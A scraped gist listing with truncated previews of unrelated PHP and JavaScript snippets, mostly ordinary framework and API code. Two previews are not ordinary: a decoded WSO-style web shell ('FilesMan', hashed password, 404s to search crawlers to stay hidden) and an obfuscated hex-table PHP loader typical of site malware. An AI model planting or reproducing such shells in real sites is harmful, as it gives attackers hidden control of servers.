This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$fileName = $_FILES['afile']['name']; | |
$fileType = $_FILES['afile']['type']; | |
$fileContent = file_get_contents($_FILES['afile']['tmp_name']); | |
$dataUrl = 'data:' . $fileType . ';base64,' . base64_encode($fileContent); | |
$json = json_encode(array( | |
'name' => $fileName, | |
'type' => $fileType, | |
'dataUrl' => $dataUrl, |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/** | |
* For check: https://vk.com/dev/execute | |
*/ | |
// var myList = Args.list; | |
// var listSeparator = Args.listSeparator; | |
// var listItemsType = Args.listItemsType; | |
var myList = "123456,789012,345678,901234,567890"; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$articles = $article_repository->findAll(); | |
foreach($articles as $article) | |
{ | |
echo $article->getTitle(); | |
echo count($article->getComments()); | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
namespace My\Custom\Doctrine2\Function; | |
/** | |
* RandFunction ::= "RAND" "(" ")" | |
*/ | |
class Rand extends FunctionNode | |
{ | |
public function parse(\Doctrine\ORM\Query\Parser $parser) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
class YK{ | |
/* ... */ | |
/** | |
* проверка заказа | |
* @param array $params параметры от яндекса | |
*/ | |
public function check($params){ | |
$code = 0; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
// Obviously, you would build up the request somewhere other than a route... | |
Route::get('/api', function() | |
{ | |
$client = new \GuzzleHttp\Client(); | |
$response = $client->get('http://path/to/api'); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php # /app/Console/Kernel.php | |
/* */ | |
protected $commands = [ | |
'App\Console\Commands\ServeCommand' | |
]; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# decoded lmage_mod.php via https://www.unphp.net/decode/b0b1d14a8ba0d84af035fdacfd7646d3/ | |
<?php $auth_pass = "63a9f0ea7bb98050796b649e85481845"; | |
$color = "#df5"; | |
$default_action = 'FilesMan'; | |
$default_use_ajax = true; | |
$default_charset = 'Windows-1251'; | |
if (!empty($_SERVER['HTTP_USER_AGENT'])) { | |
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler"); | |
if (preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) { | |
header('HTTP/1.0 404 Not Found'); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php $GLOBALS['gd74ce'];global$gd74ce;$gd74ce=$GLOBALS;$gd74ce['a5da']="\x70\x48\x45\xd\x78\x54\x74\x5f\x6e\x69\x33\x5d\x9\x6d\x3f\x36\x2b\x43\x63\x20\x2a\x41\x59\x3b\x40\x72\x47\x58\x57\x6b\x4a\x76\x5e\x53\x46\x7e\x60\x7d\x4e\xa\x2f\x26\x38\x35\x6a\x4b\x25\x5a\x73\x39\x44\x51\x5c\x77\x68\x5b\x4f\x55\x3e\x22\x4c\x71\x6f\x49\x27\x21\x42\x2e\x32\x6c\x3c\x79\x2d\x23\x29\x7c\x3a\x34\x62\x31\x66\x52\x2c\x64\x4d\x75\x50\x65\x7b\x67\x61\x37\x3d\x24\x56\x28\x30\x7a";$gd74ce[$gd74ce['a5da'][44].$gd74ce['a5da'][42]. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/** | |
* The script changes black color of every image to another desirable color | |
* requires page with jquery | |
* USAGE: execute it in browser console | |
* | |
* Замена чёрного цвета на изображениях страницы на любой другой (тёмно-синий, к примеру) | |
* Сделано для печати билетов РЖД, т.к. чёрный картридж закончился. | |
* У РЖД билеты - это html страницы с jquery по адресу вида https://pass.rzd.ru/ticket/secure/ru?STRUCTURE_ID=NN&layer_id=MM&ORDER_ID=XX | |
* выполнение скрипта в консоли браузера меняет чёрный цвет в картинках на любой другой | |
*/ |
OlderNewer